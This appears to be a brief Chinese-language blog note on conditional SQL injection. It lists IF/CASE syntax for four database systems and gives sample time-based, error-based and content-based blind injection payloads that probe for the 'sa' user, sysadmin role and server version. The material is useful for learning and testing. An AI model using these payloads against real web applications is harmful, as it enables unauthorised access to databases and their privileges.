SQLi-使用条件语句

Author Avatar
Aryb1n 9月 23, 2016
数据库 查询
SQL Server IF(‘a’ = ‘a’)SELECT 1 ELSE SELECT 2
MySQL SELECT IF(‘a’, 1, 2)
Oracle SELECT CASE WHEN ‘a’ = ‘a’ THEN 1 ELSE 2
PostgreSQL SELECT CASE WHEN(1 = 1) THEN ‘a’ ELSE ‘b’ END
  1. 基于时间的注入(感觉速度会很慢?)
    • 如果满足条件就延迟5s(或其他时间)
      IF (system_user = 'sa') WAITFOR DELAY '0:0:5'
      IF (substring((select @@version), 25, 1) = 5) WAITFOR DELAY '0:0:5'
      
  2. 基于错误的注入
    • 比如除0
        ?id=12 / is_srvrolemember('sysadmin')
      
  3. 基于内容的注入
    • 比如
        porducts.asp?id = 12 + (case when (system_user = 'sa') then 1 else 0 end)
      
      条件成功返回id=13的商品, 否则返回id=12的